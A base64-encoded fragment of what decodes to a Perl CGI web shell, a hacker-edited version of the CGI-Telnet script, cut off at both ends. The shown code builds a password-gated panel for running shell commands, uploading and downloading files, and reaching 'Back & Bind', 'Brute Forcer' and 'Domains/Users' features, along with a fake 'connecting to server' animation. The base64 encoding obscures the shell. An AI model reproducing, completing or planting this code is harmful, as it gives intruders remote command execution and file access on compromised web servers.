IgSVA6IDxmb250IGNvbG9yPSIjYmIwMDAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCg0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+DQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5+XCQ8L2ZvbnQ+IENvbm5lY3RlZCAhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ+IE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+by0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFB